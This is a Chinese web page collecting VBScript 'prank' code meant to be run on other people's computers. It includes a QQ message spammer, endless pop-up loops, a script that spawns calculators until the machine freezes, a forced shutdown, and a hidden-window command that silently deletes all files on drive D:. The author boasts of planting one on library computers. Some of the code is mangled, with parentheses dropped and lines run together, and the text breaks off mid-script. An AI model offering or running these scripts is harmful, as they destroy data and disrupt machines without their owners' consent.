vbs整人代码大全Word版
发布时间：2021-02-16 来源：文档文库
小
中
大
字号：
传播优秀Word版文档 ，希望对您有帮助，可双击去除！
一、你打开好友的聊天对话框,然后记下在你QQ里好友的昵称,把下面代码里的xx替换一下,就可以自定义发送QQ信息到好友的次数(代码里的数字10改一下即可. xx.vbs=>
复制代码 代码如下:
On Error Resume Next Dim wsh,ye set wsh=createobject("wscript.shell" for i=1 to 10 wscript.sleep 700 wsh.AppActivate("与 xx 聊天中" wsh.sendKeys "^v" wsh.sendKeys i wsh.sendKeys "%s" next wscript.quit
QQ骚扰信息,也可以用在其它程序上。 二、我就用这个程序放在学校图书馆查询书刊的机器上，好多人都那它没办法，哈哈 ------------------------------------------------------------------------------ do msgbox "You are foolish!" loop ------------------------------------------------------------------------------ 三、打开无数个计算器，直到死机 ------------------------------------------------------------------------------ set wsh=createobject("wscript.shell" do wsh.run "calc" loop ----------------------------------------------------------------------------- 四、直接关机 ----------------------------------------------------------------------------- dim WSHshell set WSHshell = wscript.createobject("wscript.shell" WSHshell.run "shutdown -f -s -t 00",0 ,true ----------------------------------------------------------------------------- 五、删除D:\所有文件 --------------------------------------------------------------------------- dim WSHshell set WSHshell = wscript.createobject("wscript.shell" WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true ---------------------------------------------------------------------------- 六、不断弹出窗口 ---------------------------------------------------------------------------- 复制代码 代码如下:
传播优秀Word版文档 ，希望对您有帮助，可双击去除！
while(1 msgbox "哈哈 你被耍了！" loop
---------------------------------------------------------------------------- 七、不断按下alt+f4 （开什么都关闭……） --------------------------------------------------------------------------- 复制代码 代码如下:
dim WSHshell set WSHshell = wscript.createobject("wscript.shell" while(1 WSHshell.SendKeys "%{F4}" loop
八、按500次回车 (以上代码在运行者的电脑上显示500个对话框。其中 do until s=500 ，500可以随意更改
复制代码 代码如下:
dim s do until s=500 s=s+1 msgbox "哥们，给我按500次回车吧",64 loop '------------------------ ------------------------------------------------------------
九、关不掉的窗口 复制代码 代码如下:
传播优秀Word版文档 ，希望对您有帮助，可双击去除！
WScript.Echo("嘿，谢谢你打开我哦，我等你很久拉！"&TSName WScript.Echo("你是可爱的小朋吗?" WScript.Echo("哈,我想你拉，这你都不知道吗？" WScript.Echo("怎么才来，说~是不是不关心我" WScript.Echo("哼,我生气拉，等你这么久，心都凉啦。" WScript.Echo("小强很生气，后果很严重哦。" WScript.Echo("嘿嘿！你也会很惨滴哦" WScript.Echo("是不是想清除我？" WScript.Echo("那你要点上50下哦，不过会给你惊喜滴" WScript.Echo("还剩49下，快点点哦" WScript.Echo("还剩48下，快点，小笨蛋！" WScript.Echo("还剩47下对，就这样快点点！" WScript.Echo("还剩46下。你啊就是笨，要快哦，我先不打扰你工作。" WScript.Echo("还剩45下，记得要快哦！" WScript.Echo("还剩43下" WScript.Echo("还剩42下" WScript.Echo("还剩41下" WScript.Echo("还剩40下" WScript.Echo("还剩39下" WScript.Echo("还剩38下" WScript.Echo("还剩37下" WScript.Echo("还剩36下" WScript.Echo("还剩35下" WScript.Echo("还剩34下" WScript.Echo("还剩33下" WScript.Echo("还剩32下" WScript.Echo("还剩30下" WScript.Echo("还剩29下" WScript.Echo("还剩28下" WScript.Echo("还剩27下" WScript.Echo("还剩26下" WScript.Echo("还剩25下" WScript.Echo("还剩24下" WScript.Echo("还剩23下" WScript.Echo("还剩22下" WScript.Echo("还剩 